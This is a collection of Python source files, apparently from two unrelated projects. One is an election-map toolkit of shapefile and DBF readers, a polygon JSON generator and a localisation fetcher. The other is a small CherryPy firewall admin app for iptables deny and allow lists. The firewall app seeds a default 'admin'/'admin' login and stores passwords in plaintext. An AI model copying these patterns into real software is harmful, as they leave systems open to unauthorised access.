'date': '02-09', 'type': 'caucus' }, 'gop': { 'date': '02-09', 'type': 'caucus' } } }, { 'abbr': 'WV', 'name': 'West Virginia', 'parties': { 'dem': { 'date': '05-13' }, 'gop': { 'date': '05-13' } } }, { 'abbr': 'WI', 'name': 'Wisconsin', 'parties': { 'dem': { 'date': '02-19' }, 'gop': { 'date': '02-19' } } }, { 'abbr': 'WY', 'name': 'Wyoming', 'parties': { 'dem': { 'date': '03-08', 'type': 'caucus' }, 'gop': { 'date': '01-05', 'type': 'caucus' } } } ] byAbbr = {} for state in array: byAbbr[ state['abbr'] ] = state byName = {} for state in array: byName[ state['name'] ] = state
Python
#!/usr/bin/env python # shpUtils.py # Original version by Zachary Forest Johnson # http://indiemaps.com/blog/index.php/code/pyShapefile.txt # This version modified by Michael Geary from struct import unpack import dbfUtils XY_POINT_RECORD_LENGTH = 16 db = [] def loadShapefile( filename ): # open dbf file and get features as a list global db dbfile = open( filename[0:-4] + '.dbf', 'rb' ) db = list( dbfUtils.dbfreader(dbfile) ) dbfile.close() fp = open( filename, 'rb' ) # get basic shapefile configuration fp.seek(32) filetype = readAndUnpack('i', fp.read(4)) bounds = readBounds( fp ) # fetch Records fp.seek(100) features = [] while True: feature = createRecord(fp) if feature == False: break getPolyInfo( feature ) features.append( feature ) return { 'type': filetype, 'bounds': bounds, 'features': features } record_class = { 0:'RecordNull', 1:'RecordPoint', 8:'RecordMultiPoint', 3:'RecordPolyLine', 5:'RecordPolygon' } def createRecord(fp): # read header record_number = readAndUnpack('>L', fp.read(4)) if record_number == '': return False content_length = readAndUnpack('>L', fp.read(4)) rectype = readAndUnpack('<L', fp.read(4)) shape = readRecordAny(fp,rectype) shape['type'] = rectype info = {} names = db[0] values = db[record_number+1] for i in xrange(len(names)): value = values[i] if isinstance( value, str ): value = value.strip() info[ names[i] ] = value return { 'shape':shape, 'info':info } # Reading defs def readRecordAny(fp, rectype): if rectype==0: return readRecordNull(fp) elif rectype==1: return readRecordPoint(fp) elif rectype==8: return readRecordMultiPoint(fp) elif rectype==3 or rectype==5: return readRecordPolyLine(fp) else: return False def readRecordNull(fp): return {} point_count = 0 def readRecordPoint(fp): global point_count point = [ readAndUnpack('d', fp.read(8)), readAndUnpack('d', fp.read(8)) ] point_count += 1 return point def readRecordMultiPoint(fp): shape = { 'bounds': readBounds(fp) } points = shape['points'] = [] nPoints = readAndUnpack('i', fp.read(4)) for i in xrange(nPoints): points.append(readRecordPoint(fp)) return shape def readRecordPolyLine(fp): shape = { 'bounds': readBounds(fp) } nParts = readAndUnpack('i', fp.read(4)) nPoints = readAndUnpack('i', fp.read(4)) if readAndUnpack('i', fp.read(4)): print 'ERROR: First part offset must be 0' counts = []; prev = 0 for i in xrange(nParts-1): next = readAndUnpack('i', fp.read(4)) counts.append( next - prev ) prev = next counts.append( nPoints - prev ) parts = shape['parts'] = [] for i in xrange(nParts): part = {} parts.append( part ) points = part['points'] = [] for j in xrange(counts[i]): points.append(readRecordPoint(fp)) return shape # General defs def readBounds(fp): return [ [ readAndUnpack('d',fp.read(8)), readAndUnpack('d',fp.read(8)) ], [ readAndUnpack('d',fp.read(8)), readAndUnpack('d',fp.read(8)) ] ] def readAndUnpack(fieldtype, data): if data=='': return data return unpack(fieldtype, data)[0] def getPolyInfo( feature ): nPoints = cx = cy = 0 shape = feature['shape'] shapetype = shape['type'] if shapetype == 3 or shapetype ==5: for part in shape['parts']: getPartInfo( part ) def getPartInfo( part ): points = part['points'] n = len(points) area = cx = cy = 0 xmin = ymin = 360 xmax = ymax = -360 pt = points[n-1]; xx = pt[0]; yy = pt[1] for pt in points: x = pt[0]; y = pt[1] # bounds xmin = min( x, xmin ); ymin = min( y, ymin ) xmax = max( x, xmax ); ymax = max( y, ymax ) # area and centroid a = xx * y - x * yy area += a cx += ( x + xx ) * a cy += ( y + yy ) * a # next xx = x; yy = y area /= 2 if area: centroid = [ cx / area / 6, cy / area / 6 ] else: centroid = None part.update({ 'area': abs(area), 'bounds': [ [ xmin, ymin ], [ xmax, ymax ] ], 'center': [ ( xmin + xmax ) / 2, ( ymin + ymax ) / 2 ], 'centroid': centroid, 'extent': [ abs( xmax - xmin ), abs( ymax - ymin ) ] }) def getBoundCenters(features): for feature in features: bounds = feature['shape']['bounds'] min = bounds[0]; max = bounds[1] bounds['center'] = [ ( min[0] + max[0] ) / 2, ( min[1] + max[1] ) / 2 ] def getMAT(features): print 'feature not yet available' def dumpFeatureInfo( features ): fields = [] rows = [] for feature in features: info = feature['info'] if not len(fields): for key in info: fields.append( key ) rows.append( ','.join(fields) ) cols = [] for field in fields: cols.append( str( feature['info'][field] ) ) rows.append( ','.join(cols) ) return '\r\n'.join(rows)
Python
#!/usr/bin/env python # makepolys.py import codecs import json import math import os import random import re import shutil import stat import sys import time from geo import Geo import shpUtils import states #states = json.load( open('states.json') ) jsonpath = 'json' shapespath = 'shapefiles' geo = Geo() keysep = '|' states.byNumber = {} useOther = { 'CT': ( 'towns', 'cs09_d00' ), 'MA': ( 'towns', 'cs25_d00' ), 'NH': ( 'towns', 'cs33_d00' ), 'VT': ( 'towns', 'cs50_d00' ), 'KS': ( 'congressional', 'cd20_110' ), 'NE': ( 'congressional', 'cd31_110' ), 'NM': ( 'congressional', 'cd35_110' ), } districtNames = { 'CD1': 'First Congressional District', 'CD2': 'Second Congressional District', 'CD3': 'Third Congressional District', 'CD4': 'Fourth Congressional District', } def loadshapefile( filename ): print 'Loading shapefile %s' % filename t1 = time.time() shapefile = shpUtils.loadShapefile( '%s/%s' %( shapespath, filename ) ) t2 = time.time() print '%0.3f seconds load time' %( t2 - t1 ) return shapefile #def randomColor(): # def hh(): return '%02X' %( random.random() *128 + 96 ) # return hh() + hh() + hh() featuresByName = {} def featureByName( feature ): info = feature['info'] name = info['NAME'] if name not in featuresByName: featuresByName[name] = { 'feature': feature #, #'color': randomColor() } return featuresByName[name] #def filterCONUS( features ): # result = [] # for feature in features: # shape = feature['shape'] # if shape['type'] != 5: continue # info = feature['info'] # state = int(info['STATE']) # if state == 2: continue # Alaska # if state == 15: continue # Hawaii # if state == 72: continue # Puerto Rico # result.append( feature ) # return result def featuresBounds( features ): bounds = [ [ None, None ], [ None, None ] ] for feature in features: shape = feature['shape'] if shape['type'] == 5: for part in shape['parts']: bounds = geo.extendBounds( bounds, part['bounds'] ) return bounds def writeFile( filename, data ): f = open( filename, 'wb' ) f.write( data ) f.close() def readShapefile( filename ): print '----------------------------------------' print 'Loading %s' % filename shapefile = loadshapefile( filename ) features = shapefile['features'] print '%d features' % len(features) #conus = filterCONUS( features ) #conusBounds = featuresBounds( conus ) #stateFeatures = filterCONUS( stateFeatures ) #print '%d features in CONUS states' % len(stateFeatures) #writeFile( 'features.csv', shpUtils.dumpFeatureInfo(features) ) nPoints = nPolys = 0 places = {} for feature in features: shape = feature['shape'] if shape['type'] != 5: continue info = feature['info'] name = info['NAME'].decode( 'cp850' ).encode( 'utf-8' ) name = re.sub( '^(\d+)\x00.*$', 'CD\\1', name ) # congressional district name = districtNames.get( name, name ) state = info['STATE'] key = name + keysep + state if key not in places: places[key] = { 'name': name, 'state': state, 'maxarea': 0.0, 'bounds': [ [ None, None ], [ None, None ] ], 'shapes': [] } place = places[key] shapes = place['shapes'] for part in shape['parts']: nPolys += 1 points = part['points'] n = len(points) - 1 nPoints += n pts = [] area = part['area'] if area == 0: continue bounds = part['bounds'] place['bounds'] = geo.extendBounds( place['bounds'], bounds ) centroid = part['centroid'] if area > place['maxarea']: place['centroid'] = centroid place['maxarea'] = area points = part['points'] for j in xrange(n): point = points[j] #pts.append( '[%.4f,%.4f]' %( float(point[0]), float(point[1]) ) ) pts.append( '{x:%.4f,y:%.4f}' %( float(point[0]), float(point[1]) ) ) #shapes.append( '{area:%.4f,bounds:[[%.4f,%.4f],[%.4f,%.4f]],centroid:[%.4f,%.4f],points:[%s]}' %( shapes.append( '{points:[%s]}' %( #area, #bounds[0][0], bounds[0][1], #bounds[1][0], bounds[1][1], #centroid[0], centroid[1], ','.join(pts) ) ) print '%d points in %d places' %( nPoints, len(places) ) return shapefile, places def writeUS( places, path ): json = [] keys = places.keys() keys.sort() for key in keys: abbr = states.byNumber[ places[key]['state'] ]['abbr'].lower() writeJSON( '%s.js' % abbr, getPlaceJSON( places, key, abbr, 'state' ) ) #def writeStates( places, path ): # p = {} # for k in places: # if places[k] != None: # p[k] = places[k] # places = p # keys = places.keys() # keys.sort() # for key in keys: # name, number = key.split(keysep) # state = states.byNumber[number] # state['json'].append( getPlaceJSON( places, key, state['abbr'].lower(), 'county' ) ) # for state in states.array: # writeJSON( path, state['abbr'].lower(), state['json'] ) def writeJSON( path, json ): file = '%s/%s' %( jsonpath, path ) print 'Writing %s' % file writeFile( file, 'GoogleElectionMap.shapeReady(%s)' %( json ) ) def getPlaceJSON( places, key, state, type ): place = places[key] if not place: return '' bounds = place['bounds'] centroid = place['centroid'] return '{name:"%s", type:"%s",state:"%s",bounds:[[%.4f,%.4f],[%.4f,%.4f]],centroid:[%.4f,%.4f],shapes:[%s]}' %( key.split(keysep)[0], type, state, bounds[0][0], bounds[0][1], bounds[1][0], bounds[1][1], centroid[0], centroid[1], ','.join(place['shapes']) ) def generateUS( detail, path='' ): shapefile, places = readShapefile( 'states/st99_d00_shp-%s/st99_d00.shp' % detail ) for key in places: name, number = key.split(keysep) state = states.byName[name] state['json'] = [] state['counties'] = [] state['number'] = number states.byNumber[number] = state writeUS( places, path ) #def generateStates( detail, path ): # shapefile, places = readShapefile( 'counties/co99_d00_shp-%s/co99_d00.shp' % detail ) # for key, place in places.iteritems(): # name, number = key.split(keysep) # state = states.byNumber[number] # abbr = state['abbr'] # if abbr not in useOther: # state['counties'].append( place ) # else: # places[key] = None # for abbr, file in useOther.iteritems(): # state = states.byAbbr[abbr] # number = state['number'] # othershapefile, otherplaces = readShapefile( # '%(base)s/%(name)s_shp-%(detail)s/%(name)s.shp' %{ # 'base': file[0], # 'name': file[1], # 'detail': detail # } ) # for key, place in otherplaces.iteritems(): # name, number = key.split(keysep) # state = states.byNumber[number] # state['counties'].append( place ) # places[key] = place # writeStates( places, path ) #generateUS( 0, 'full' ) #generateUS( 25, '25' ) generateUS( '00' ) #generateStates( 80, 'detailed' ) print 'Done!'
Python
#!/usr/bin/env python # dbfUtils.py # By Raymond Hettinger # http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/362715 import struct, datetime, decimal, itertools def dbfreader(f): """Returns an iterator over records in a Xbase DBF file. The first row returned contains the field names. The second row contains field specs: (type, size, decimal places). Subsequent rows contain the data records. If a record is marked as deleted, it is skipped. File should be opened for binary reads. """ # See DBF format spec at: # http://www.pgts.com.au/download/public/xbase.htm#DBF_STRUCT numrec, lenheader = struct.unpack('<xxxxLH22x', f.read(32)) numfields = (lenheader - 33) // 32 fields = [] for fieldno in xrange(numfields): name, typ, size, deci = struct.unpack('<11sc4xBB14x', f.read(32)) name = name.replace('\0', '') # eliminate NULs from string fields.append((name, typ, size, deci)) yield [field[0] for field in fields] yield [tuple(field[1:]) for field in fields] terminator = f.read(1) assert terminator == '\r' fields.insert(0, ('DeletionFlag', 'C', 1, 0)) fmt = ''.join(['%ds' % fieldinfo[2] for fieldinfo in fields]) fmtsiz = struct.calcsize(fmt) for i in xrange(numrec): record = struct.unpack(fmt, f.read(fmtsiz)) if record[0] != ' ': continue # deleted record result = [] for (name, typ, size, deci), value in itertools.izip(fields, record): if name == 'DeletionFlag': continue if typ == "N": value = value.replace('\0', '').lstrip() if value == '': value = 0 elif deci: value = decimal.Decimal(value) else: value = int(value) elif typ == 'D': y, m, d = int(value[:4]), int(value[4:6]), int(value[6:8]) value = datetime.date(y, m, d) elif typ == 'L': value = (value in 'YyTt' and 'T') or (value in 'NnFf' and 'F') or '?' result.append(value) yield result def dbfwriter(f, fieldnames, fieldspecs, records): """ Return a string suitable for writing directly to a binary dbf file. File f should be open for writing in a binary mode. Fieldnames should be no longer than ten characters and not include \x00. Fieldspecs are in the form (type, size, deci) where type is one of: C for ascii character data M for ascii character memo data (real memo fields not supported) D for datetime objects N for ints or decimal objects L for logical values 'T', 'F', or '?' size is the field width deci is the number of decimal places in the provided decimal object Records can be an iterable over the records (sequences of field values). """ # header info ver = 3 now = datetime.datetime.now() yr, mon, day = now.year-1900, now.month, now.day numrec = len(records) numfields = len(fieldspecs) lenheader = numfields * 32 + 33 lenrecord = sum(field[1] for field in fieldspecs) + 1 hdr = struct.pack('<BBBBLHH20x', ver, yr, mon, day, numrec, lenheader, lenrecord) f.write(hdr) # field specs for name, (typ, size, deci) in itertools.izip(fieldnames, fieldspecs): name = name.ljust(11, '\x00') fld = struct.pack('<11sc4xBB14x', name, typ, size, deci) f.write(fld) # terminator f.write('\r') # records for record in records: f.write(' ') # deletion flag for (typ, size, deci), value in itertools.izip(fieldspecs, record): if typ == "N": value = str(value).rjust(size, ' ') elif typ == 'D': value = value.strftime('%Y%m%d') elif typ == 'L': value = str(value)[0].upper() else: value = str(value)[:size].ljust(size, ' ') assert len(value) == size f.write(value) # End of file f.write('\x1A')
Python
#!/usr/bin/env python # get-strings.py # By Michael Geary - http://mg.to/ # See UNLICENSE or http://unlicense.org/ for public domain notice. # Reads the JSON feed for a Google Docs spreadsheet containing the # localized strings for the Google Election Center gadget, then writes # the strings for each language into a JSONP file for that language. # The JSONP output has line breaks and alphabetized keys for better # version control, e.g.: # # loadStrings({ # "areYouRegistered": "Are you registered to vote?", # "dateFormat": "{{monthName}} {{dayOfMonth}}", # "yourHome": "Your Home", # "yourVotingLocation": "Your Voting Location" # }) import json, re, urllib2 sheet = '0AuiC0EUz_p_xdHE3R2U5cTE0aFdHcWpTVVhPQVlzUmc/1' url = 'https://spreadsheets.google.com/feeds/list/%s/public/values?alt=json' % sheet langs = {} feed = json.load( urllib2.urlopen(url) )['feed'] for entry in feed['entry']: id = entry['gsx$id']['$t'] for col in entry: match = re.match( 'gsx\$text-(\w+)$', col ) if match: lang = match.group( 1 ) if lang not in langs: langs[lang] = {} langs[lang][id] = entry[col]['$t'] for lang in langs: j = json.dumps( langs[lang], indent=0, sort_keys=True ) file = 'lang-%s.js' % lang print 'Writing ' + file open( file, 'wb' ).write( 'loadStrings(%s)' % j )
Python
#!/usr/bin/env python # coding: utf-8 # make-hi.py - special HI processing for 2010 # Copyright (c) 2010 Michael Geary - http://mg.to/ # Use under either the MIT or GPL license # http://www.opensource.org/licenses/mit-license.php # http://www.opensource.org/licenses/gpl-2.0.php import re def convert( input, output ): print 'Converting %s to %s' %( input, output ) input = open( input, 'r' ) output = open( output, 'wb' ) output.write( '{\n' ) for line in input: line = line.rstrip('\n').split('\t') if len(line) > 12: precinct = line[10] url = line[12] pdfnum = re.findall( '/(\d+)EN\.pdf$', url ) if len(pdfnum): output.write( '"%s":"%s",\n' %( precinct, pdfnum[0] ) ) output.write( '}\n' ) output.close() input.close() def main(): convert( 'hi-ballot-urls.tsv', 'hi-ballot-urls.json' ) print 'Done!' if __name__ == "__main__": main()
Python
#!/usr/bin/python from firewalladmin import model from firewalladmin.lib import iptables, bridge #bridge.startup() iptables.startup() for category in model.Blacklists.select(): iptables.create(category.category) iptables.update(category.category, category.ips) if not category.enabled: iptables.toggle(category.category, category.enabled)
Python
#!/usr/bin/env python from firewalladmin import model model.create_database()
Python
import model def check(username, password): """ Checks username and password """ if (model.Users.selectBy(username=username, password=password).count() != 1): return 'Wrong username or password.'
Python
import cherrypy import model from firewalladmin.lib import template, http, iptables, easyadns class DenyList: @cherrypy.expose @template.theme('denylist.html') def index(self): try: return template.render(message=cherrypy.session.pop('msg', None), blacklists=model.Blacklists.select()) except Exception, ex: cherrypy.session['msg'] = ex http.redirect('/error') @cherrypy.expose def rename(self, category, newname): bl = model.Blacklists.get(category) oldname = bl.category bl.category = newname iptables.rename(oldname, newname) cherrypy.session['msg'] = "Category %s renamed to %s." % (oldname, newname) http.redirect('/denylist/'); @cherrypy.expose def delete(self, category): bl = model.Blacklists.get(category) name = bl.category bl.delete(category) iptables.delete(name) cherrypy.session['msg'] = '%s category deleted.' % name http.redirect('/denylist/') @cherrypy.expose def enable(self, category): return self._toggle(category, True) @cherrypy.expose def disable(self, category): return self._toggle(category, False) def _toggle(self, category, enabled): print enabled try: bl = model.Blacklists.get(category) bl.enabled = enabled iptables.toggle(bl.category, bl.enabled) except Exception, ex: cherrypy.session['msg'] = ex http.redirect('/error') if enabled: cherrypy.session['msg'] = '%s category enabled.' % bl.category else: cherrypy.session['msg'] = '%s category disabled.' % bl.category http.redirect('/denylist/') @cherrypy.expose def new(self, category): model.Blacklists(category=category, blacklist='', enabled=True, ips='') iptables.create(category) cherrypy.session['msg'] = '%s category created.' % category http.redirect('/denylist/') @cherrypy.expose @template.theme('category.html') def category(self, category): try: return template.render(message=cherrypy.session.pop('msg', None), blacklist=model.Blacklists.get(category)) except Exception, ex: cherrypy.session['msg'] = ex http.redirect('/error') @cherrypy.expose def save(self, category, blacklist=''): try: bl = model.Blacklists.get(category) except Exception, ex: cherrypy.session['msg'] = ex http.redirect('/error') cherrypy.session['msg'] = 'Blacklist updated!' cherrypy.session.release_lock() cleaned_bl = list() for line in blacklist.splitlines(): line = line.strip() if line: cleaned_bl.append(line) """ Create blacklist """ blacklist = "\n".join(cleaned_bl) """ Lookup IPs """ bl.ips = "\n".join(easyadns.lookup(cleaned_bl)) """ TODO: remove unresolvable domains from blacklist """ """ Save blacklist """ bl.blacklist = blacklist """ Update firewall """ iptables.update(bl.category, bl.ips) http.redirect('/denylist/')
Python
import cherrypy import model from firewalladmin.lib import template, http, iptables class AllowList: @cherrypy.expose @template.theme('allowlist.html') def index(self): return template.render(allowlist=model.AllowList.select(), message=cherrypy.session.pop('msg', None)) @cherrypy.expose def delete(self, id): al = model.AllowList.get(id) rule = al.internal for line in al.allowlist.splitlines(): iptables.whitelist_remove(rule, line) al.delete(id) cherrypy.session['msg'] = 'Deleted allow list for internal IP %s' % rule http.redirect('/allowlist/') @cherrypy.expose def new(self, internal, allow_list): cleaned_lines = list() for line in allow_list.splitlines(): line = line.strip() if line: cleaned_lines.append(line) iptables.whitelist_add(internal, line) # Update firewall allow_list = "\n".join(cleaned_lines) al = model.AllowList(internal=internal, allowlist=allow_list) cherrypy.session['msg'] = 'Created allow list for internal IP %s' % internal http.redirect('/allowlist/')
Python
import os model_path = os.path.split(os.path.dirname(os.path.abspath(__file__)))[0] # Use Database for application data import sqlobject # Connection db_connection = sqlobject.connectionForURI('sqlite://%s/backend.db' % model_path) sqlobject.sqlhub.processConnection = db_connection class Users(sqlobject.SQLObject): username = sqlobject.StringCol(alternateID=True) password = sqlobject.StringCol() class Blacklists(sqlobject.SQLObject): category = sqlobject.StringCol(alternateID=True) blacklist = sqlobject.StringCol() enabled = sqlobject.BoolCol() ips = sqlobject.StringCol() class AllowList(sqlobject.SQLObject): internal = sqlobject.StringCol() allowlist = sqlobject.StringCol() # Table Operations def create_database(): Users.createTable() Users(username='admin', password='admin') Blacklists.createTable() Blacklists(category='Default', blacklist='', enabled=True, ips='') AllowList.createTable()
Python
import cherrypy def redirect(url='/'): raise cherrypy.HTTPRedirect(cherrypy.url(url))
Python